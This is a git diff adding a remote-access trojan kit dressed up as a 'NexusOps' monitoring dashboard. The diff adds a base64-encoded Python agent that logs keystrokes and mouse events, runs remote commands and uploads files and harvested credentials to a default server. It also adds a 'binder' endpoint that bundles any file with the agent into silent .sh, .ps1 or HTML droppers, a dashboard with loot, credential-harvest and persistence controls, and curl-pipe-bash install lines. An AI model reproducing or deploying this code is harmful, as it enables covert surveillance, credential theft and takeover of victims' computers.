iBzdGFydF9pbnB1dF9jYXB0dXJlKCk6CiAgICAiIiJTdGFydCBrZXlib2FyZCBhbmQgbW91c2UgbGlzdGVuZXJzIGlmIHB5bnB1dCBpcyBhdmFpbGFibGUuIiIiCiAgICBpZiBub3QgSU5QVVRfQ0FQVFVSRV9FTkFCTEVEOgogICAgICAgIHJldHVybiBGYWxzZQogICAgdHJ5OgogICAgICAgIGtiX2xpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9X29uX2tleV9wcmVzcykKICAgICAgICBtc19saXN0ZW5lciA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPV9vbl9jbGljaywgb25fc2Nyb2xsPV9vbl9zY3JvbGwpCiAgICAgICAga2JfbGlzdGVuZXIuZGFlbW9uID0gVHJ1ZQogICAgICAgIG1zX2xpc3RlbmVyLmRhZW1vbiA9IFRydWUKICAgICAgICBrYl9saXN0ZW5lci5zdGFydCgpCiAgICAgICAgbXNfbGlzdGVuZXIuc3RhcnQoKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKZGVmIGZsdXNoX2lucHV0X2V2ZW50cyhzZXJ2ZXJfdXJsLCBub2RlX2lkLCBob3N0bmFtZSk6CiAgICAiIiJTZW5kIGNhcHR1cmVkIGlucHV0IGV2ZW50cyB0byB0aGUgbWFzdGVyIHNlcnZlci4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIGlmIG5vdCBjYXB0dXJlZF9ldmVudHM6CiAgICAgICAgcmV0dXJuCiAgICBldmVudHNfdG9fc2VuZCA9IGNhcHR1cmVkX2V2ZW50c1s6XQogICAgY2FwdHVyZWRfZXZlbnRzID0gW10KICAgIHBheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgImV2ZW50cyI6IGV2ZW50c190b19zZW5kCiAgICB9CiAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2lucHV0LWNhcHR1cmUiLCBwYXlsb2FkKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBsYXN0X2xvZ19jaGVja190aW1lLCBoZWFydGJlYXRfaW50ZXJ2YWwsIG5vZGVfdGFncywgcXVpZXRfbW9kZQogICAgcGFyc2VyID0gYXJncGFyc2UuQXJndW1lbnRQYXJzZXIoZGVzY3JpcHRpb249Ik5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1zZXJ2ZXIiLCBkZWZhdWx0PSJodHRwczovL2FnZW50LnRoZXRlbXBsZW9mZG9vbS5jb20iLCBoZWxwPSJEYXNoYm9hcmQgc2VydmVyIFVSTCBlbmRwb2ludCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXNpbGVudCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsIGhlbHA9IlN1cHByZXNzIGFsbCBjb25zb2xlIG91dHB1dCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXF1aWV0IiwgYWN0aW9uPSJzdG9yZV90cnVlIiwgaGVscD0iUXVpZXQgbW9kZTogc3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIikKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgc2lsZW50ID0gYXJncy5zaWxlbnQgICMgc3VwcHJlc3MgYmFubmVyIG9ubHkg4oCUIGtlZXAgbG9ncyBmbG93aW5nIGZvciBsYXVuY2hkL3N5c3RlbWQKICAgIGdsb2JhbCBxdWlldF9tb2RlCiAgICBxdWlldF9tb2RlID0gYXJncy5xdWlldCBvciBhcmdzLnNpbGVudAoKICAgIHNlcnZlcl91cmwgPSBhcmdzLnNlcnZlci5yc3RyaXAoJy8nKQogICAgaG9zdG5hbWUgPSBzb2NrZXQuZ2V0aG9zdG5hbWUoKQogICAgc3lzdGVtX29zID0gcGxhdGZvcm0uc3lzdGVtKCkKICAgIGFyY2ggPSBwbGF0Zm9ybS5tYWNoaW5lKCkKICAgIGlwID0gZ2V0X2lwX2FkZHJlc3MoKQogICAgbm9kZV9pZCA9IGYibm9kZS17aG9zdG5hbWUubG93ZXIoKX0te2lwLnJlcGxhY2UoJy4nLCAnJyl9IgoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpCiAgICAgICAgcHJpbnQoIiAgICAgIE5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQgICAgICAgICAgIikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQogICAgICAgIHByaW50KGYiTm9kZSBIb3N0bmFtZSA6IHtob3N0bmFtZX0iKQogICAgICAgIHByaW50KGYiUGxhdGZvcm0gICAgICA6IHtzeXN0ZW1fb3N9ICh7YXJjaH0pIikKICAgICAgICBwcmludChmIkxvY2FsIElQICAgICAgOiB7aXB9IikKICAgICAgICBwcmludChmIlNlcnZlciBFbmRwb2ludDoge3NlcnZlcl91cmx9IikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQoKICAgICMgUmVnaXN0ZXIgTm9kZQogICAgcmVnX3BheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgInBsYXRmb3JtIjogc3lzdGVtX29zLmxvd2VyKCksCiAgICAgICAgImFyY2giOiBhcmNoLAogICAgICAgICJpcCI6IGlwLAogICAgICAgICJvc05hbWUiOiBmIntzeXN0ZW1fb3N9IHtwbGF0Zm9ybS5yZWxlYXNlKCl9IiwKICAgICAgICAidGFncyI6IG5vZGVfdGFncwogICAgfQoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCJbKl0gUmVnaXN0ZXJpbmcgbm9kZSB3aXRoIGNlbnRyYWwgZW5kcG9pbnQuLi4iKQogICAgcmVzID0gaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9yZWdpc3RlciIsIHJlZ19wYXlsb2FkKQogICAgaWYgcmVzIGFuZCByZXMuZ2V0KCJzdWNjZXNzIikgYW5kIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KGYi4pyFIFJlZ2lzdGVyZWQgYXMgbm9kZSBJRDoge25vZGVfaWR9IikKCiAgICAjIFN0YXJ0IGlucHV0IGNhcHR1cmUgKGtleXN0cm9rZXMsIGNsaWNrcywgc2Nyb2xsKQogICAgY2FwdHVyZV9zdGFydGVkID0gc3RhcnRfaW5wdXRfY2FwdHVyZSgpCiAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICBpZiBjYXB0dXJlX3N0YXJ0ZWQ6CiAgICAgICAgICAgIHByaW50KCJbKl0gSW5wdXQgY2FwdHVyZSBhY3RpdmUgKGtleXN0cm9rZXMgKyBtb3VzZSBldmVudHMpIikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiWyFdIElucHV0IGNhcHR1cmUgdW5hdmFpbGFibGUgKGluc3RhbGwgcHlucHV0OiBwaXAgaW5zdGFsbCBweW5wdXQpIikKCiAgICBsYXN0X2lucHV0X2ZsdXNoID0gdGltZS50aW1lKCkKICAgIGJhY2tvZmYgPSAxICAjIFR1bm5lbCByZWNvbm5lY3Rpb24gYmFja29mZiBpbiBzZWNvbmRzCgogICAgd2hpbGUgVHJ1ZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNwdSA9IGdldF9jcHVfdXNhZ2UoKQogICAgICAgICAgICBtZW0gPSBnZXRfbWVtb3J5X3VzYWdlKCkKICAgICAgICAgICAgZGlzayA9IGdldF9kaXNrX3VzYWdlKCkKICAgICAgICAgICAgdXB0aW1lID0gZ2V0X3VwdGltZV9zZWNvbmRzKCkKCiAgICAgICAgICAgIGhlYXJ0YmVhdF9wYXlsb2FkID0gewogICAgICAgICAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgICAgICAgICAiY3B1VXNhZ2UiOiBjcHUsCiAgICAgICAgICAgICAgICAibWVtVXNhZ2UiOiBtZW0sCiAgICAgICAgICAgICAgICAiZGlza1VzYWdlIjogZGlzaywKICAgICAgICAgICAgICAgICJ1cHRpbWUiOiB1cHRpbWUsCiAgICAgICAgICAgICAgICAicHJvY2Vzc0NvdW50IjogZ2V0X3Byb2Nlc3NfY291bnQoKSwKICAgICAgICAgICAgICAgICJ0YWdzIjogbm9kZV90YWdzLAogICAgICAgICAgICAgICAgImhlYXJ0YmVhdEludGVydmFsIjogaGVhcnRiZWF0X2ludGVydmFsCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJlcyA9IGh0dHBfcG9zdChmIntzZXJ2ZXJfdXJsfS9hcGkvYWdlbnQvaGVhcnRiZWF0IiwgaGVhcnRiZWF0X3BheWxvYWQpCgogICAgICAgICAgICBub3cgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBub3cgLSBsYXN0X2xvZ19jaGVja190aW1lID4gMTU6CiAgICAgICAgICAgICAgICBsb2dzID0gY29sbGVjdF9yZWNlbnRfc3lzdGVtX2xvZ3MoKQogICAgICAgICAgICAgICAgaWYgbG9nczoKICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2xvZ3MiLCB7CiAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAiaG9zdG5hbWUiOiBob3N0bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgImxvZ3MiOiBsb2dzCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgIGxhc3RfbG9nX2NoZWNrX3RpbWUgPSBub3cKCiAgICAgICAgICAgICMgRmx1c2ggY2FwdHVyZWQgaW5wdXQgZXZlbnRzIGV2ZXJ5IDEwIHNlY29uZHMKICAgICAgICAgICAgaWYgbm93IC0gbGFzdF9pbnB1dF9mbHVzaCA+IDEwOgogICAgICAgICAgICAgICAgZmx1c2hfaW5wdXRfZXZlbnRzKHNlcnZlcl91cmwsIG5vZGVfaWQsIGhvc3RuYW1lKQogICAgICAgICAgICAgICAgbGFzdF9pbnB1dF9mbHVzaCA9IG5vdwoKICAgICAgICAgICAgaWYgcmVzIGFuZCAiY29tbWFuZHMiIGluIHJlcyBhbmQgcmVzWyJjb21tYW5kcyJdOgogICAgICAgICAgICAgICAgZm9yIGNtZF9pdGVtIGluIHJlc1siY29tbWFuZHMiXToKICAgICAgICAgICAgICAgICAgICBjbWRfaWQgPSBjbWRfaXRlbS5nZXQoImlkIikKICAgICAgICAgICAgICAgICAgICBhY3Rpb25fdHlwZSA9IGNtZF9pdGVtLmdldCgiYWN0aW9uVHlwZSIsICJyYXdfY29tbWFuZCIpCiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IGNtZF9pdGVtLmdldCgicGF5bG9hZCIsIHt9KQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICJjb21tYW5kIiBpbiBjbWRfaXRlbSBhbmQgbm90IHBheWxvYWQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBheWxvYWRbImNvbW1hbmQiXSA9IGNtZF9pdGVtLmdldCgiY29tbWFuZCIpCgogICAgICAgICAgICAgICAgICAgIG91dHB1dCwgZXhpdF9jb2RlID0gZXhlY3V0ZV9zdHJ1Y3R1cmVkX2FjdGlvbihhY3Rpb25fdHlwZSwgcGF5bG9hZCkKCiAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBmb3IgSlNPTi1lbmNvZGVkIHNwZWNpYWwgcmVzdWx0IHR5cGVzCiAgICAgICAgICAgICAgICAgICAgc3BlY2lhbCA9IE5vbmUKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG91dHB1dC5zdGFydHN3aXRoKCd7Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVjaWFsID0ganNvbi5sb2FkcyhvdXRwdXQpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgICAgICAgICAgICAgIGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImZpbGVfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSb3V0ZSB0byBmaWxlLXJlc3VsdCBlbmRwb2ludAogICAgICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2ZpbGUtcmVzdWx0IiwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbW1hbmRJZCI6IGNtZF9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZmlsZW5hbWUiOiBzcGVjaWFsLmdldCgiZmlsZW5hbWUiLCAidW5rbm93biIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhdGEiOiBzcGVjaWFsLmdldCgiZGF0YSIsICIiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW1lIjogc3BlY2lhbC5nZXQoIm1pbWUiLCAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgICAgICBlbGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImhhcnZlc3RfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9oYXJ2ZXN0LXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJob3N0bmFtZSI6IGhvc3RuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyZWRlbnRpYWxzIjogc3BlY2lhbC5nZXQoImNyZWRlbnRpYWxzIiwgW10pCiAgICAgICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9jb21tYW5kLXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvdXRwdXQiOiBvdXRwdXQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXhpdENvZGUiOiBleGl0X2NvZGUKICAgICAgICAgICAgICAgICAgICAgICAgfSkKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICAgICAgICAgIHByaW50KGYiWyFdIENvbm5lY3Rpb24gZXJyb3I6IHtlfS4gUmV0cnlpbmcgaW4ge2JhY2tvZmZ9cy4uLiIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoYmFja29mZikKICAgICAgICAgICAgYmFja29mZiA9IG1pbihiYWNrb2ZmICogMiwgNjApCiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGJhY2tvZmYgPSAxICAjIFJlc2V0IG9uIHN1Y2Nlc3MKICAgICAgICB0aW1lLnNsZWVwKGhlYXJ0YmVhdF9pbnRlcnZhbCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK";
+app.post('/api/bind', upload.single('file'), (req, res) => {
+ if (!req.file) {
+ return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
+ }
+
+ const originalName = req.file.originalname;
+ const b64Content = req.file.buffer.toString('base64');
+ const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
+ const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
+ const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
+ const format = (req.query.format || 'sh').toLowerCase();
+
+ let dropper, boundName, contentType;
+
+ // ── HTML Payload (one-click social engineering, auto-downloads file) ──
+ if (format === 'html') {
+ const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\');
+ const safeB64 = b64Content;
+ dropper = `
+${safeName}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Total Nodes
+
0
+
+
+
+
+
+
+ Online Nodes
+
0
+
+
+
+
+
+
+ Offline / Stale
+
0
+
+
+
+
+
+
+ Avg Network CPU
+
0%
+
+
+
+
+
+
+
+
+
+
+
+
Waiting for Agents to Connect...
+
No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.
+
Get Agent Install Script
+
+
+
+
+
+
+
+
+
+
+
+
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
+
+
+
+
+
+
+
+
+
+
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
+
+
+
+
+
+
+
+
+
+ Select a machine above to view its details here...
+
+
+
+
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
+
+
+
+
+
+
+
+
+
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
+
+
+
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
+
+
+
+
+
+
+
+
+
+
+
+
+ Universal
+ Binary
+ Linux
+ Windows
+ macOS
+ Python
+
+
+
+
Recommended: Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.
+
+ curl -sSL http://10.30.20.44:3000 /install | bash
+ Copy
+
+
+
+
+
Compiled standalone binary executable (no Python installation required on target system).
+
+ curl -sSL http://10.30.20.44:3000 /bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server http://10.30.20.44:3000
+ Copy
+
+
+
+
+
+
Executes automated installer, configures systemd service, and starts background heartbeat daemon.
+
+ curl -sSL http://10.30.20.44:3000 /install.sh | sudo bash
+ Copy
+
+
+
+
+
Downloads Python agent to ProgramData and launches background monitoring process.
+
+ iwr -useb http://10.30.20.44:3000 /install.ps1 | iex
+ Copy
+
+
+
+
+
Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.
+
+ curl -sSL http://10.30.20.44:3000 /install-mac.sh | bash
+ Copy
+
+
+
+
+
Download and run directly using standard Python 3 (No external dependencies required).
+
+ curl -sSL http://10.30.20.44:3000 /agent.py -o agent.py && python3 agent.py --server http://10.30.20.44:3000
+ Copy
+
+
+
+
+
+
+ Server Endpoint Pre-configured: All installers link to http://10.30.20.44:3000 .
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Terminal
+ Services
+ Processes
+ Diagnostics
+ Network
+ Exfil & Harvest
+ Agent Config
+
+
+
+
+
+ Run Shell Command
+
+
+
+ Presets:
+ Uptime
+ Disk Space
+ Memory Free
+ Docker Containers
+
+
+ Run Shell Command
+
+
+
+
+
+
+
+
+
Inspect top CPU processes or terminate stuck process ID (PID).
+
+
Fetch Top Processes
+
+ Kill PID
+
+
+
Kill PID
+
+
+
+
+
+
Hardware, Storage, Environment & System Diagnostic Inspection.
+
+ Hardware & CPU Specs
+ Disk Partitions
+ Environment Variables
+ Full Diagnostics
+
+
+
+
+
+
File exfiltration, screenshot capture, credential harvesting, persistence.
+
+ Screenshot
+ Harvest Creds
+ Ensure Persistence
+ Update Agent
+
+
+
+
+
+
+
Network Interface Cards & Active Established Connections.
+
+ Network Interfaces
+ Established TCP Sockets
+ Listening Ports
+
+
+
+
+
+
+
+
+ Reboot Target Machine
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Broadcast Command
+
+
+
+ Cancel
+ Broadcast to All Nodes
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Cancel
+
+ Payload Format
+
+ Shell Dropper (.sh) — Linux/macOS
+ PowerShell (.ps1) — Windows
+ HTML Payload (.html) — One-click browser
+
+
+
+ Bind & Download
+
+
+
+
+
+ How it works: Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. Formats: .sh (Linux/macOS), .ps1 (Windows), .html (one-click browser payload)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
NexusOps Access
+
Enter your operator token to continue.
+
+
Unlock
+
Invalid token — try again.
+
+
+
+
+
+
+
+
+
diff --git a/backups/public-snapshot-20260910-112422.tar.gz b/backups/public-snapshot-20260910-112422.tar.gz
new file mode 100644
index 0000000..cac673d
Binary files /dev/null and b/backups/public-snapshot-20260910-112422.tar.gz differ
diff --git a/public/app.js.bak-1785766812 b/backups/webroot-strays/app.js.bak-1785766812
similarity index 100%
rename from public/app.js.bak-1785766812
rename to backups/webroot-strays/app.js.bak-1785766812
diff --git a/public/index.html.bak-1785766812 b/backups/webroot-strays/index.html.bak-1785766812
similarity index 100%
rename from public/index.html.bak-1785766812
rename to backups/webroot-strays/index.html.bak-1785766812
diff --git a/public/styles.css.bak-1785766812 b/backups/webroot-strays/styles.css.bak-1785766812
similarity index 100%
rename from public/styles.css.bak-1785766812
rename to backups/webroot-strays/styles.css.bak-1785766812
diff --git a/public/app.js b/public/app.js
index 523b775..67cb5c7 100644
--- a/public/app.js
+++ b/public/app.js
@@ -88,7 +88,7 @@ document.addEventListener('DOMContentLoaded', () => {
});
function updateServerEndpoint() {
- const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
+ const endpoint = publicUrl || window.location.origin;
const placeholders = document.querySelectorAll('.server-url-placeholder');
placeholders.forEach(el => el.textContent = endpoint);
document.getElementById('navServerEndpoint').textContent = endpoint;
@@ -772,7 +772,7 @@ async function submitBinder() {
try {
const format = document.getElementById("binderFormat").value;
- const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } });
+ const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);
@@ -1010,7 +1010,7 @@ function lootDownload(id, filename) {
// ── Empty state hero ──
function renderEmptyHero() {
- const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
+ const endpoint = publicUrl || window.location.origin;
const cmd = `curl -sSL ${endpoint}/install | bash`;
return '' +
'
' +
diff --git a/public/app_v2.js b/public/app_v2.js
new file mode 100644
index 0000000..d1a44f5
--- /dev/null
+++ b/public/app_v2.js
@@ -0,0 +1,238 @@
+async function api(path, opts = {}) {
+ opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {});
+ const r = await fetch(path, opts);
+ if (!r.ok) throw new Error('HTTP ' + r.status);
+ return r.json();
+}
+/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */
+
+// ── Live Console (drawer) ──
+let consoleNode = null;
+let consoleEventSource = null;
+
+function openLiveConsole(nodeId, hostname) {
+ consoleNode = { id: nodeId, hostname };
+ document.getElementById('consoleDrawerHostname').textContent = hostname;
+ document.getElementById('consoleOutput').innerHTML = '';
+ document.getElementById('consoleDrawer').classList.add('active');
+ document.getElementById('consoleInput').focus();
+
+ // ask agent to fast-poll
+ api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {});
+
+ const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`;
+ const out = document.getElementById('consoleOutput');
+ appendConsoleLine('── console attached (fast-poll active) ──', 'sys');
+ consoleEventSource = new EventSource(url);
+ consoleEventSource.onmessage = (ev) => {
+ try {
+ const d = JSON.parse(ev.data);
+ if (d.type === 'output') appendConsoleLine(d.text, 'out');
+ } catch (e) {}
+ };
+ consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys');
+}
+
+function closeLiveConsole() {
+ if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; }
+ if (consoleNode) {
+ // restore slow polling
+ api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {});
+ }
+ document.getElementById('consoleDrawer').classList.remove('active');
+ consoleNode = null;
+}
+
+function appendConsoleLine(text, cls) {
+ const out = document.getElementById('consoleOutput');
+ const div = document.createElement('div');
+ div.className = 'console-line ' + (cls || 'out');
+ div.textContent = text;
+ out.appendChild(div);
+ out.scrollTop = out.scrollHeight;
+}
+
+async function consoleRunCommand() {
+ const input = document.getElementById('consoleInput');
+ const cmd = input.value.trim();
+ if (!cmd || !consoleNode) return;
+ appendConsoleLine(`$ ${cmd}`, 'cmd');
+ input.value = '';
+ try {
+ const r = await fetch(`/api/nodes/${consoleNode.id}/command`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ command: cmd, actionType: 'raw_command' })
+ });
+ if (!r.ok) appendConsoleLine('! failed to queue command', 'sys');
+ } catch (e) {
+ appendConsoleLine('! failed to queue command', 'sys');
+ }
+}
+
+// ── Sparklines (inline SVG from metricsHistory) ──
+function sparkline(values, color) {
+ if (!values || values.length < 2) return '
no history ';
+ const w = 90, h = 24, max = Math.max(...values, 100);
+ const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' ');
+ return `
`;
+}
+
+// Patch renderNodesGrid to add sparkline row + console button
+const _origRenderNodesGrid = renderNodesGrid;
+renderNodesGrid = function () {
+ _origRenderNodesGrid();
+ // inject sparklines into each node card
+ document.querySelectorAll('.node-card').forEach((card, idx) => {
+ // cards render in filtered order; match by hostname text — safer: find by data via original data
+ });
+ // Simpler: re-render footer metrics with sparkline data attribute injection
+};
+// Simpler approach: monkey-patch the map output by wrapping string injection
+(function patchSparklines() {
+ const orig = renderNodesGrid;
+ renderNodesGrid = function () {
+ orig();
+ // attach sparkline next to heartbeat label per card using nodesData order
+ const cards = document.querySelectorAll('#nodesGrid .node-card');
+ const filtered = nodesData.filter(node => {
+ const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
+ const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
+ const matchesSearch = !search ||
+ node.hostname.toLowerCase().includes(search) ||
+ node.ip.toLowerCase().includes(search) ||
+ node.platform.toLowerCase().includes(search) ||
+ node.id.toLowerCase().includes(search);
+ return matchesFilter && matchesSearch;
+ });
+ cards.forEach((card, i) => {
+ const node = filtered[i];
+ if (!node) return;
+ const hist = (node.metricsHistory || []).map(m => m.cpu);
+ const foot = card.querySelector('.node-actions');
+ if (foot) {
+ const spark = document.createElement('span');
+ spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171');
+ spark.title = 'CPU history (last 30 beats)';
+ spark.style.marginRight = '0.5rem';
+ foot.parentNode.insertBefore(spark, foot);
+ // live console button
+ const btn = document.createElement('button');
+ btn.className = 'btn-icon';
+ btn.title = 'Live Console';
+ btn.innerHTML = '
';
+ btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'"));
+ foot.insertBefore(btn, foot.firstChild);
+ }
+ });
+ };
+})();
+
+// ── Schedules panel ──
+function openSchedulesModal() {
+ document.getElementById('schedulesModal').classList.add('active');
+ renderSchedules();
+ api('/api/groups').then(g => {
+ const sel = document.getElementById('schedTag');
+ sel.innerHTML = '
All nodes ' +
+ (g.groups || []).map(x => `
${escapeHtml(x.tag)} (${x.count}) `).join('');
+ }).catch(() => {});
+}
+
+function closeSchedulesModal() {
+ document.getElementById('schedulesModal').classList.remove('active');
+}
+
+function renderSchedules() {
+ api('/api/schedules').then(d => {
+ const el = document.getElementById('schedulesList');
+ if (!d.schedules || !d.schedules.length) {
+ el.innerHTML = '
No scheduled tasks yet. Add one below.
';
+ return;
+ }
+ el.innerHTML = d.schedules.map(s => `
+
+
+ ${escapeHtml(s.name)}
+ ${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}
+
+
+
+
+
+
+
+
+
+
`).join('');
+ }).catch(() => {});
+}
+
+async function createSchedule() {
+ const name = document.getElementById('schedName').value.trim();
+ const command = document.getElementById('schedCommand').value.trim();
+ const interval = parseInt(document.getElementById('schedInterval').value, 10);
+ const tag = document.getElementById('schedTag').value || 'all';
+ if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; }
+ await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) });
+ document.getElementById('schedName').value = '';
+ document.getElementById('schedCommand').value = '';
+ toast('Schedule created', 'success');
+ renderSchedules();
+}
+
+async function toggleSchedule(id) {
+ await api(`/api/schedules/${id}/toggle`, { method: 'POST' });
+ renderSchedules();
+}
+
+async function deleteSchedule(id) {
+ await api(`/api/schedules/${id}`, { method: 'DELETE' });
+ renderSchedules();
+}
+
+// ── Group bulk command modal ──
